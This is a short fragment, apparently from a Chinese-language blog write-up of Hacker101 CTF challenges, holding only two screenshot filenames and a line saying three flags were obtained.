
hacker101-ctf-通关记录(二)97.png

得到3个flag。

hacker101-ctf-通关记录(二)98.png